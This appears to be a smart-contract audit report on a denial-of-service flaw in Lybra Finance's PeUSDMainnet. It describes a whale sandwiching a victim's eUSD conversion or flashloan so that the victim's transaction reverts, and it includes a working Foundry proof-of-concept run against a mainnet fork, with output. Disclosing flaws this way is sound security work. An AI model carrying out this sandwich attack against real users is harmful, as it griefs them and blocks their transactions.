# `PeUSDMainnet.convertToPeUsd()` and `PeUSDMainnet.executeFlashloan()` can be reverted by sandwich attack from malicious whale.

## Bug Description
`PeUSDMainnet.convertToPeUsd()` and `PeUSDMainnet.executeFlashloan()` have mechanism to check if locked eUSD amount is below `configurator.getEUSDMaxLocked()`.

https://github.com/LybraFinance/LybraV2/blob/main/contracts/lybra/token/PeUSDMainnet.sol#L78
```
    function convertToPeUSD(address user, uint256 eusdAmount) public {
        ...
        require(EUSD.balanceOf(address(this)) + eusdAmount <= configurator.getEUSDMaxLocked() || _msgSender() == address(configurator),"ESL");
```

https://github.com/LybraFinance/LybraV2/blob/main/contracts/lybra/token/PeUSDMainnet.sol#L132
```
    function executeFlashloan(uint256 eusdAmount, bytes calldata data) external {
        ...
        require(success, "TF");
        require(EUSD.balanceOf(address(this)) <= configurator.getEUSDMaxLocked(),"ESL");
```

A malicious user with enough eUSD can sandwich these txs with frontrunning `convertToPeUSD()` and backrunning `convertToEUSD()` and cause victim tx to be reverted because of these check.

Here's current configuration.
```
  Max locked eUSD: 61593067.220741838649947638
  Current locked eUSD: 4460888.340368132227300903
  Difference: 57132178.880373706422646735
```

Scenario 1:
- Let's imagine that victim wants to convert 20M eUSD to peUSD.

- It means a malicious user with more than 37M eUSD can sabotage victim's tx.

Scenario 2:
- Let's imagine that victim wants to get flashloan.

- A malicious user with more than 57M eUSD can sabotage victim's flashloan.

## Impact
Conversion from eUSD to peUSD or eUSD flashloan might be DoSed.

## Recommendation
1) Fee can be applied to `convertToPeUsd()` or `convertToEUSD()` to make these griefing sandwitch attacks unprofitable for a malicious whale.

2) eUSD->peUSD and peUSD->eUSD conversion should not happen at same block given an address.

```
    mapping (address=>uint256) internal lastConvertTime;
```

## Proof of Concept
```
pragma solidity 0.8.20;

import "forge-std/Test.sol";

import "@openzeppelin/contracts/interfaces/IERC20.sol";

interface Configurator {
    function getEUSDMaxLocked() external view returns (uint256);
}

interface PeUsd is IERC20 {
    function convertToPeUSD(address user, uint256 eusdAmount) external;
    function convertToEUSD(uint256 peusdAmount) external;

    function executeFlashloan(uint256 eusdAmount, bytes calldata data) external;
    
    function userConvertInfo(address user) external returns (
        uint256 depositedEUSDShares,
        uint256 mintedPeUSD);
}

address constant recipient  = 0xF886796d631999D80b9D4d7e13712849Bd41fd5F;

contract LybraTest is Test {
    address                 victim = 0xee2826453A4Fd5AfeB7ceffeEF3fFA2320081268;
    Configurator            configurator = Configurator(0xC8353594Eeedc5ce5a4544D3D9907b694c4690Ff);
    IERC20                  EUSD = IERC20(0xdf3ac4F479375802A821f7b7b46Cd7EB5E4262cC);
    PeUsd                   peUSD = PeUsd(0xD585aaafA2B58b1CD75092B51ade9Fa4Ce52F247);

    function setUp() public {
        vm.createSelectFork("mainnet");
        vm.label(address(EUSD), "eUSD");
        vm.label(address(peUSD), "peUSD");
    }

    function testConvertPeUsd() public {
        uint256 maxLocked = configurator.getEUSDMaxLocked();
        uint256 currentLocked = EUSD.balanceOf(address(peUSD));
        uint256 availableLocked = maxLocked - currentLocked;
        address victim = 0xee2826453A4Fd5AfeB7ceffeEF3fFA2320081268;
        uint256 victimEUSD = EUSD.balanceOf(victim);
        uint256 requiredLocked = availableLocked - victimEUSD + 1 ether;
        address whale = address(0x01);

        emit log_named_decimal_uint("Max locked eUSD", maxLocked, 18);
        emit log_named_decimal_uint("Current locked eUSD", currentLocked, 18);
        emit log_named_decimal_uint("Available locked eUSD", availableLocked, 18);
        emit log_named_decimal_uint("Required eUSD", requiredLocked, 18);

        console.log("Step 0: Whale Accummulating...");
        vm.startPrank(0xC53127AF77cBa7D07DC08e271bD0826c55f97467);
        EUSD.transfer(whale, EUSD.balanceOf(0xC53127AF77cBa7D07DC08e271bD0826c55f97467));
        vm.stopPrank();
        vm.startPrank(0x7a3569bA5b0d3cD81D17E8eB246505bF0A6cbA10);
        EUSD.transfer(whale, EUSD.balanceOf(0x7a3569bA5b0d3cD81D17E8eB246505bF0A6cbA10));
        vm.stopPrank();

        emit log_named_decimal_uint("Whale's eUSD", EUSD.balanceOf(whale), 18);

        vm.startPrank(whale);
        console.log("Step 1: Whale's frontrunning convertToPeUSD");
        peUSD.convertToPeUSD(whale, requiredLocked);
        vm.stopPrank();

        console.log("Step 2: Victim's convertToPeUSD, flashloan will revert!!!");
        vm.startPrank(victim);
        vm.expectRevert();
            peUSD.convertToPeUSD(victim, victimEUSD);
        vm.stopPrank();

        vm.startPrank(whale);
        console.log("Step 3: Whale's backrunning convertToEUSD");
        (, uint256 mintedPeUSD) = peUSD.userConvertInfo(whale);
        peUSD.convertToEUSD(mintedPeUSD);
        vm.stopPrank();
    }
}
```

### Output
```
Running 1 test for test/Lybra_test.sol:AuctionTest
[PASS] testConvertPeUsd() (gas: 176269)
Logs:
  Max locked eUSD: 61593067.220741838649947638
  Current locked eUSD: 4460888.340368132227300903
  Available locked eUSD: 57132178.880373706422646735
  Required eUSD: 47804944.578961505362999232
  Step 0: Whale Accummulating...
  Whale's eUSD: 50584496.426604306530457479
  Step 1: Whale's frontrunning convertToPeUSD
  Step 2: Victim's convertToPeUSD will revert!!!
  Step 3: Whale's backrunning convertToEUSD

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 27.95s
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

```